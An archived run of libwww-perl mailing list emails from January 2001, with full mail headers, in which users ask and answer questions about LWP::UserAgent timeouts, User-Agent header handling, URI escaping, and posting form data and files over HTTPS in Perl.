Received: (qmail 13369 invoked by uid 508); 16 Jan 2001 20:18:39 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 13360 invoked from network); 16 Jan 2001 20:18:38 -0000
Received: from sylvia.harvard.edu (128.103.151.242)
  by tmtowtdi.perl.org with SMTP; 16 Jan 2001 20:18:38 -0000
Received: from phil_mitchell.harvard.edu (ospr28.harvard.edu [128.103.151.128])
	by sylvia.harvard.edu (8.9.3/8.9.3) with ESMTP id PAA27232
	for <libwww@perl.org>; Tue, 16 Jan 2001 15:18:35 -0500 (EST)
Message-Id: <4.3.2.7.2.20010116141607.00adb5d0@hulmail.harvard.edu>
X-Sender: philip@hulmail.harvard.edu
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 16 Jan 2001 15:18:33 -0500
To: libwww@perl.org
From: Phil Mitchell <philip_mitchell@harvard.edu>
Subject: Inconsistent behavior w/ LWP GET in rare cases: timeouts (500)
  instead of correct response
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

I am doing GET's on a long list of URL's to detect 404's etc. Out of 1000's 
of URL's, I have seen a few that consistently yield inconsistent behavior. :)

http://www.ndu.edu/ndu/inss/strforum/forum83.html -- This url should return 
a 404, but LWP almost always times out with a server error (500). It's not 
a server problem, though, b/c GET works fine on http://www.ndu.edu. To 
complicate matters, when I run this script from a different machine, it 
consistently gets the 404.

In a related note, on a small number of other URLs (eg., 
http://nces.ed.gov/nationsreportcard/guide/2000456.shtml), I have found LWP 
to be much more likely to time out than to get a correct response, whereas 
Netscape generally gets a prompt response. I have tried 
ua->agent("Netscape/4.7"), but that doesn't seem to be the issue.

In the ndu.edu case, the first machine is a Solaris box on a LAN/ethernet 
connection. When I access it from a linux box via PPP, I get the 404. The 
Solaris setup runs perl 5.005_3 and LWP 5.48; the linux box has perl 5.6.0 
and (I think) LWP 5.49.

Note that I'm checking 1000's of other urls, and the script generally runs 
fine from either box.

Note that my GETs are simple_requests, b/c I need to handle redirects manually.




From robert@chalmers.com.au Tue Jan 16 13:49:48 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa27740 for <hyper>;
          16 Jan 2001 13:49 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa08535
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 16 Jan 2001 13:49 PST
Received: (qmail 23938 invoked by uid 508); 16 Jan 2001 21:49:34 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 23928 invoked from network); 16 Jan 2001 21:49:32 -0000
Received: from gateway.chalmers.com.au (HELO nanguo.chalmers.com.au) (203.1.96.1)
  by tmtowtdi.perl.org with SMTP; 16 Jan 2001 21:49:32 -0000
Received: from carbon (carbon.chalmers.com.au [203.1.96.26])
	by nanguo.chalmers.com.au (8.11.0/8.11.0) with SMTP id f0GLmOc22680;
	Wed, 17 Jan 2001 07:48:24 +1000 (EST)
Message-ID: <005601c08005$4939f220$1a6001cb@chalmers.com.au>
From: Robert <robert@chalmers.com.au>
To: Opensrs-Dev <dev-list@opensrs.org>, libwww <libwww@perl.org>
Subject: XML_Client trashes LWP::UserAgent .. $ua->request. what's up doc?
Date: Wed, 17 Jan 2001 07:42:34 +1000
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400



I have a situationj here where the following are set up in the scirpt first.
==========================
use strict;
use lib $PATH_LIB;
use CGI qw(:cgi-lib :all);
use OpenSRS::XML_Client qw(:default);

....... more code

# create a client object which we will use to connect to the OpenSRS server
$XML_Client = new OpenSRS::XML_Client(%OPENSRS);
$XML_Client->login;

...........more code

use HTTP::Request::Common;
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
$ua->agent("Netscape/4.7 " . $ua->agent);

Now, when a subroutine is called to do the LWP bit,
I get this error message.
Can't call method "request" on an undefined value at
/usr/local/lib/perl5/site_perl/5.6.0/LWP/UserAgent.pm line 227.

IF I comment out the lines beginning with $XML, then the LWP part works. !!!

So what is it about the $XML_Client that is trashing the LWP handler?

bob


From gisle@activestate.com Tue Jan 16 14:32:07 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa02141 for <hyper>;
          16 Jan 2001 14:32 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa17905
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 16 Jan 2001 14:31 PST
Received: (qmail 29833 invoked by uid 508); 16 Jan 2001 22:31:50 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 29824 invoked from network); 16 Jan 2001 22:31:49 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 16 Jan 2001 22:31:49 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id OAA25963;
	Tue, 16 Jan 2001 14:31:22 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: libwww@perl.org
Cc: Neal Probert <nprobert@walid.com>
Subject: Re: URI::Escape
References: <3A648012.332CD7D6@walid.com>
	<lrzogrwghg.fsf@caliper.ActiveState.com> <3A649B2B.2914157A@walid.com>
From: Gisle Aas <gisle@activestate.com>
Date: 16 Jan 2001 14:31:22 -0800
In-Reply-To: Neal Probert's message of "Tue, 16 Jan 2001 14:04:11 -0500"
Message-ID: <lr4ryzceo5.fsf@caliper.ActiveState.com>
Lines: 23
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Does anybody know anything more about this kind of escapes?  Are they
somewhat standard somewhere and is it worth supporting them at this
point?

Perl5.6 can't really deal with Unicode anyway, so perhaps this is
something that can wait until at least 5.7.1.

--Gisle


Neal Probert <nprobert@walid.com> writes:

> O'Reilly JavaScript 3rd edition (Javascript 1.2) pp.489-490 for IE
> although rfc2396 makes no mention of this.
> 
> Gisle Aas wrote:
> > 
> > Neal Probert <nprobert@walid.com> writes:
> > 
> > > URI::Escape doesn't seem to handle the %uXXXX Unicode format, even with
> > > Perl 5.6.
> > 
> > Where is this format specified/described?

From chuck@tucows.com Tue Jan 16 15:37:16 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa08649 for <hyper>;
          16 Jan 2001 15:37 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa02439
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 16 Jan 2001 15:37 PST
Received: (qmail 13941 invoked by uid 508); 16 Jan 2001 23:37:09 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 26402 invoked from network); 16 Jan 2001 22:06:13 -0000
Date: Tue, 16 Jan 2001 17:05:21 -0500 (EST)
From: Charles Daminato <chuck@tucows.com>
X-X-Sender:  <chuck@toronto.mail.tucows.com>
To: Robert <robert@chalmers.com.au>
cc: Opensrs-Dev <dev-list@opensrs.org>, libwww <libwww@perl.org>
Subject: Re: XML_Client trashes LWP::UserAgent .. $ua->request. what's up
 doc?
In-Reply-To: <005601c08005$4939f220$1a6001cb@chalmers.com.au>
Message-ID: <Pine.LNX.4.31.0101161704280.6252-100000@toronto.mail.tucows.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender:  chuck@tucows.com
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu

I know it was suggested earlier - maybe you should move the use commands
outside of the subroutine.

And change:

> $ua = LWP::UserAgent->new;
> $ua->agent("Netscape/4.7 " . $ua->agent);

to be

> my $ua = LWP::UserAgent->new;
> my $ua->agent("Netscape/4.7 " . $ua->agent);

Now, I'm no Perl dude - but um... yeah, give it a try :) (can't hurt!)


Charles Daminato
TUCOWS Product Manager (ccTLDs)
chuck@tucows.com

On Wed, 17 Jan 2001, Robert wrote:

>
>
> I have a situationj here where the following are set up in the scirpt first.
> ==========================
> use strict;
> use lib $PATH_LIB;
> use CGI qw(:cgi-lib :all);
> use OpenSRS::XML_Client qw(:default);
>
> ....... more code
>
> # create a client object which we will use to connect to the OpenSRS server
> $XML_Client = new OpenSRS::XML_Client(%OPENSRS);
> $XML_Client->login;
>
> ...........more code
>
> use HTTP::Request::Common;
> use LWP::UserAgent;
> $ua = LWP::UserAgent->new;
> $ua->agent("Netscape/4.7 " . $ua->agent);
>
> Now, when a subroutine is called to do the LWP bit,
> I get this error message.
> Can't call method "request" on an undefined value at
> /usr/local/lib/perl5/site_perl/5.6.0/LWP/UserAgent.pm line 227.
>
> IF I comment out the lines beginning with $XML, then the LWP part works. !!!
>
> So what is it about the $XML_Client that is trashing the LWP handler?
>
> bob
>
>


From tgreaves@argogroup.com Wed Jan 17 08:55:36 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa07042 for <hyper>;
          17 Jan 2001 08:55 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa28791
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 17 Jan 2001 08:55 PST
Received: (qmail 2071 invoked by uid 508); 17 Jan 2001 16:55:25 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 2061 invoked from network); 17 Jan 2001 16:55:24 -0000
Received: from tweedledum.navaho.net (HELO mx.education.navaho.net) (mail@213.161.67.199)
  by tmtowtdi.perl.org with SMTP; 17 Jan 2001 16:55:24 -0000
Received: from big-gay-al.argogroup.com ([208.184.60.71] helo=intranet.office.argogroup.com)
	by mx.education.navaho.net with esmtp (Exim 3.16 #4)
	id 14IvmX-0006E6-00
	for libwww@perl.org; Wed, 17 Jan 2001 16:49:57 +0000
Received: from gabrielle.elstead.argogroup.com ([10.1.1.182] helo=DCTF000J)
	by intranet.office.argogroup.com with smtp (Exim 2.12 #2)
	id 14Ivq9-0006TC-00
	for libwww@perl.org; Wed, 17 Jan 2001 16:53:41 +0000
From: Tristan Greaves <tgreaves@argogroup.com>
To: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: Problems setting headers for a request
Date: Wed, 17 Jan 2001 16:55:30 -0000
Message-ID: <003f01c080a6$4d9a2cd0$b601010a@DCTF000J>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700

Hi all,

The aim of the following code is to allow the HTTP headers for
a request to be set.  At the moment, it's just trying
User-Agent, but this would be extended to allow other, perhaps
custom, headers.

<--begin code fragment-->
        my $ua = LWP::UserAgent->new();
        my $req = HTTP::Request->new(GET => $url);
        $req->header(User_Agent => 'FooBarBrowser 1.0');

        # Prove that we've actually set the headers...
        print $req->headers_as_string();
        print "<---ENDHEADERS--->\n";

        # Perform request...

        my $response = $ua->request($req);
<--end code fragment-->

However, this doesn't appear to work - The User-Agent string does
not appear to be set, according to the logs at the "other end".

I'm aware of the $ua->agent() system (which works!!), but I want
to use the above method to allow custom ones to be added.

So, what's the problem?

Thanks,

Tris.

--- 
Tristan Greaves.
Argogroup, Oak House, Shackleford Road, Elstead, Surrey GU8 6LB, UK.
T: +44 (0)1252 705 782  F: +44 (0)1252 705 706  http://www.argogroup.com/ 

From gisle@activestate.com Wed Jan 17 10:31:56 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa15445 for <hyper>;
          17 Jan 2001 10:31 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa21404
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 17 Jan 2001 10:31 PST
Received: (qmail 12226 invoked by uid 508); 17 Jan 2001 18:31:45 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 12217 invoked from network); 17 Jan 2001 18:31:45 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 17 Jan 2001 18:31:45 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id KAA01135;
	Wed, 17 Jan 2001 10:30:47 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: Tristan Greaves <tgreaves@argogroup.com>
Cc: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: Re: Problems setting headers for a request
References: <003f01c080a6$4d9a2cd0$b601010a@DCTF000J>
From: Gisle Aas <gisle@activestate.com>
Date: 17 Jan 2001 10:30:47 -0800
In-Reply-To: "Tristan Greaves"'s message of "Wed, 17 Jan 2001 16:55:30 -0000"
Message-ID: <lr8zoaav54.fsf@caliper.ActiveState.com>
Lines: 35
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

"Tristan Greaves" <tgreaves@argogroup.com> writes:

> The aim of the following code is to allow the HTTP headers for
> a request to be set.  At the moment, it's just trying
> User-Agent, but this would be extended to allow other, perhaps
> custom, headers.
> 
> <--begin code fragment-->
>         my $ua = LWP::UserAgent->new();
>         my $req = HTTP::Request->new(GET => $url);
>         $req->header(User_Agent => 'FooBarBrowser 1.0');
> 
>         # Prove that we've actually set the headers...
>         print $req->headers_as_string();
>         print "<---ENDHEADERS--->\n";
> 
>         # Perform request...
> 
>         my $response = $ua->request($req);
> <--end code fragment-->
> 
> However, this doesn't appear to work - The User-Agent string does
> not appear to be set, according to the logs at the "other end".
> 
> I'm aware of the $ua->agent() system (which works!!), but I want
> to use the above method to allow custom ones to be added.
> 
> So, what's the problem?

The problem is that LWP::UserAgent unconditionally overrides the
request User-Agent setting with what it finds in $ua->agent.  This
bug is already registered in http://sourceforge.net/bugs/?group_id=14630

Regards,
Gisle

From sdavis35@csc.com Wed Jan 17 13:56:37 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa09747 for <hyper>;
          17 Jan 2001 13:56 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa14498
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 17 Jan 2001 13:56 PST
Received: (qmail 5307 invoked by uid 508); 17 Jan 2001 21:56:27 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 5298 invoked from network); 17 Jan 2001 21:56:27 -0000
Received: from ponyexpress5.csc.com (HELO ponyexpress1.csc.com) (208.219.64.204)
  by tmtowtdi.perl.org with SMTP; 17 Jan 2001 21:56:27 -0000
Received: from va-fch34.vtc.csc.com ([20.1.6.97] helo=csc.com)
	by ponyexpress1.csc.com with esmtp (Exim 2.12 #1)
	id 14J0Yh-0001JQ-00
	for libwww@perl.org; Wed, 17 Jan 2001 16:55:59 -0500
Subject: Posting files to a secure site
To: libwww@perl.org
Bcc:   
From: sdavis35@csc.com
Date: Wed, 17 Jan 2001 16:55:56 -0500
Message-ID: <OF8588BF03.72B47285-ON852569D7.00771D34@com>
X-MIMETrack: Serialize by Router on VA-FCH34/SRV/CSC(Release 5.0.4a |July 24, 2000) at
 01/17/2001 04:57:23 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

I need to post text files to a secure web site.  All the information I have
is the following:

URL (https://some URL)
the username
the password

I have been messing around with the following sample code that I found...
but it doesn't seem to be fulfilling my needs since I don't know of any cgi
script on the server side.  Is there information I am missing that is
necessary for me to post text files to this site?  Can anyone point me to
sample code that will help me?


use LWP::Simple;
use URI::URL;
use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
$ua = LWP::UserAgent->new(); #create a user agent
#post the message to the server
#this will activate the program that needs to run
#in this program, reciever.pl will run on the server side
$streamstring = "string to be passed to the server";
my  $req = POST 'http://3.212.228.149/cgi-bin/reciever.pl',[Filecontents =>$streamstring];
$req->content_type('application/x-www-form-urlencoded');
$req->content('match=www&errors=0');
#content is what the server sends back after processing
$content = $ua->request($req)->as_string;
print $content;

Thanks,
Sammy Davis


From cuyan@asu.edu Wed Jan 17 14:31:05 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa13811 for <hyper>;
          17 Jan 2001 14:31 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa23621
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 17 Jan 2001 14:30 PST
Received: (qmail 10587 invoked by uid 508); 17 Jan 2001 22:30:55 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 10578 invoked from network); 17 Jan 2001 22:30:54 -0000
Received: from post2.inre.asu.edu (129.219.110.73)
  by tmtowtdi.perl.org with SMTP; 17 Jan 2001 22:30:54 -0000
Received: from conversion.post2.inre.asu.edu by asu.edu (PMDF V6.0-24 #47347)
 id <0G7B00001VVGD8@asu.edu> for libwww@perl.org; Wed,
 17 Jan 2001 15:30:53 -0700 (MST)
Received: from email2.asu.edu (email2.asu.edu [129.219.13.85])
 by asu.edu (PMDF V6.0-24 #47347) with ESMTP id <0G7B00JPOVVGD8@asu.edu>; Wed,
 17 Jan 2001 15:30:52 -0700 (MST)
Received: from localhost (localhost [127.0.0.1])
	by email2.asu.edu (8.9.1/8.9.1) with ESMTP id PAA11374; Wed,
 17 Jan 2001 15:30:50 -0700 (MST)
Date: Wed, 17 Jan 2001 15:30:50 -0700 (MST)
From: cuyan@asu.edu
Subject: Re: Posting files to a secure site
In-reply-to: <OF8588BF03.72B47285-ON852569D7.00771D34@com>
X-Sender: cuyan@email2.asu.edu
To: sdavis35@csc.com
Cc: libwww@perl.org
Message-id: <Pine.GSO.4.21.0101171528580.10955-100000@email2.asu.edu>
MIME-version: 1.0
Content-type: TEXT/PLAIN; charset=US-ASCII


What do you mean when you say " not fulfilling my needs" ? Does it actually
return something , and you don't like what you see? Or does it not return
anything other than an error msg?

cenk

On Wed, 17 Jan 2001 sdavis35@csc.com wrote:

> I need to post text files to a secure web site.  All the information I have
> is the following:
> 
> URL (https://some URL)
> the username
> the password
> 
> I have been messing around with the following sample code that I found...
> but it doesn't seem to be fulfilling my needs since I don't know of any cgi
> script on the server side.  Is there information I am missing that is
> necessary for me to post text files to this site?  Can anyone point me to
> sample code that will help me?
> 
> 
> use LWP::Simple;
> use URI::URL;
> use HTTP::Request::Common qw(POST);
> use LWP::UserAgent;
> $ua = LWP::UserAgent->new(); #create a user agent
> #post the message to the server
> #this will activate the program that needs to run
> #in this program, reciever.pl will run on the server side
> $streamstring = "string to be passed to the server";
> my  $req = POST 'http://3.212.228.149/cgi-bin/reciever.pl',[Filecontents =>$streamstring];
> $req->content_type('application/x-www-form-urlencoded');
> $req->content('match=www&errors=0');
> #content is what the server sends back after processing
> $content = $ua->request($req)->as_string;
> print $content;
> 
> Thanks,
> Sammy Davis
> 
> 


From robert@chalmers.com.au Wed Jan 17 20:52:24 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa11769 for <hyper>;
          17 Jan 2001 20:52 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa05915
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 17 Jan 2001 20:52 PST
Received: (qmail 27881 invoked by uid 508); 18 Jan 2001 04:52:14 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 27786 invoked from network); 18 Jan 2001 04:51:35 -0000
Received: from gateway.chalmers.com.au (HELO nanguo.chalmers.com.au) (203.1.96.1)
  by tmtowtdi.perl.org with SMTP; 18 Jan 2001 04:51:35 -0000
Received: from carbon (carbon.chalmers.com.au [203.1.96.26])
	by nanguo.chalmers.com.au (8.11.0/8.11.0) with SMTP id f0I4n8c29038
	for <libwww@perl.org>; Thu, 18 Jan 2001 14:49:08 +1000 (EST)
Message-ID: <008a01c08109$3c8fce00$1a6001cb@chalmers.com.au>
From: Robert <robert@chalmers.com.au>
To: libwww <libwww@perl.org>
Subject: How do I fill this structure with the variables passed from a web page...
Date: Thu, 18 Jan 2001 14:43:38 +1000
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

If I have this structure, and the items are hardcoded like this, how do I
make it so that variables that are passed to it from a web page form are put
there instead?

............................
#create request
my $req = (POST 'item_1',
        [ secParams   => 'item_2',
          referenceID => 'item_3',
        ]);
....................................

Is it possible looks like this
............................................
ReadParse();

#create request
my $req = (POST '$in{item_1}',
        [ secParams   => '$in{item_2}',
          referenceID => '$in{item_3}',
        ]);
.........................................

I'm having trouble trying to find the right syntax....

Thanks for any help,
Robert



From eestrella@inq7.net Wed Jan 17 23:07:08 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa20236 for <hyper>;
          17 Jan 2001 23:07 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa12392
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 17 Jan 2001 23:07 PST
Received: (qmail 6666 invoked by uid 508); 18 Jan 2001 07:06:57 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 6625 invoked from network); 18 Jan 2001 07:06:55 -0000
Received: from mgweb.mindgate.net (HELO vw1.mindgate.net) (203.176.8.13)
  by tmtowtdi.perl.org with SMTP; 18 Jan 2001 07:06:55 -0000
Received: from linux.inq7.net (IDENT:root@ip1-180.mindgate.net [203.176.8.180])
	by vw1.mindgate.net (8.9.3/8.9.3/RSS-RBL-DUL) with ESMTP id PAA15102
	for <libwww@perl.org>; Thu, 18 Jan 2001 15:04:04 +0800
Received: from maoie ([192.168.0.27])
	by linux.inq7.net (8.9.3/8.9.3) with SMTP id PAA07964
	for <libwww@perl.org>; Thu, 18 Jan 2001 15:11:30 +0800
Message-ID: <015601c0811c$b51e40a0$1b00a8c0@inq7.net>
From: Maoie Estrella <eestrella@inq7.net>
To: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
References: <Pine.GSO.4.21.0101171528580.10955-100000@email2.asu.edu>
Subject: OT:  auto-reply
Date: Thu, 18 Jan 2001 15:02:49 +0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600

Hi guys,

i know this is kind of OT.  but how do i set up an auto-reply script?
i know how to set up an alias in sendmail to point to my script.  but my
problem is how my script will know who the sender is so it can reply to
him/her.  any suggestions?
thanks!


Maoie Estrella


From sdavis35@csc.com Thu Jan 18 05:51:20 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa08306 for <hyper>;
          18 Jan 2001 05:51 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa28357
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 18 Jan 2001 05:51 PST
Received: (qmail 28372 invoked by uid 508); 18 Jan 2001 13:50:44 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 28363 invoked from network); 18 Jan 2001 13:50:43 -0000
Received: from ponyexpress5.csc.com (HELO ponyexpress1.csc.com) (208.219.64.204)
  by tmtowtdi.perl.org with SMTP; 18 Jan 2001 13:50:43 -0000
Received: from va-fch31.csc.com ([20.1.107.9] helo=csc.com)
	by ponyexpress1.csc.com with esmtp (Exim 2.12 #1)
	id 14JFRs-00030K-00
	for libwww@perl.org; Thu, 18 Jan 2001 08:49:57 -0500
Subject: Re: Posting files to a secure site
To: cuyan@asu.edu
Cc: libwww@perl.org
Bcc:   
From: sdavis35@csc.com
Date: Thu, 18 Jan 2001 08:49:55 -0500
Message-ID: <OF3BB9D3FB.73E00F00-ON852569D8.004B2FB1@com>
X-MIMETrack: Serialize by Router on VA-FCH31/SRV/CSC(Release 5.0.4a |July 24, 2000) at
 01/18/2001 08:51:31 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

I get the following error message:
Can't call method "request" on an undefined value at /usr/local/lib/perl5/site_perl/5.005/LWP/UserAgent.pm line 227.

The part that confuses me is  "[ filename => 'FILE' ];"... if I don't know of a cgi script on
the secure server, how do I know what to name the variable (or does that matter?)... and
how do I get it to post the actual file so it can be retrieved.  Is this the right code to use?
I have successfully performed a GET to this site so I believe everything is installed correctly.

I am running this on a Unix box and here is the code I ran:
Thanks for any help.

#!/usr/local/bin/perl -w
use LWP::Simple;
use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
$user_agent = LWP::UserAgent->new;
$request = POST 'https://URL',
                  [ filename => 'FILE' ];
$request->authorization_basic("username","password");
$request->content_type('application/x-www-form-urlencoded');
$response=$user_agent->request($request);
print $response->as_string;





cuyan@asu.edu on 01/17/2001 05:30:50 PM

To:   Samantha J Davis/CEG/CSC@CSC
cc:   libwww@perl.org

Subject:  Re: Posting files to a secure site



What do you mean when you say " not fulfilling my needs" ? Does it actually
return something , and you don't like what you see? Or does it not return
anything other than an error msg?

cenk

On Wed, 17 Jan 2001 sdavis35@csc.com wrote:

> I need to post text files to a secure web site.  All the information I
have
> is the following:
>
> URL (https://some URL)
> the username
> the password
>
> I have been messing around with the following sample code that I found...
> but it doesn't seem to be fulfilling my needs since I don't know of any
cgi
> script on the server side.  Is there information I am missing that is
> necessary for me to post text files to this site?  Can anyone point me to
> sample code that will help me?
>
>
> use LWP::Simple;
> use URI::URL;
> use HTTP::Request::Common qw(POST);
> use LWP::UserAgent;
> $ua = LWP::UserAgent->new(); #create a user agent
> #post the message to the server
> #this will activate the program that needs to run
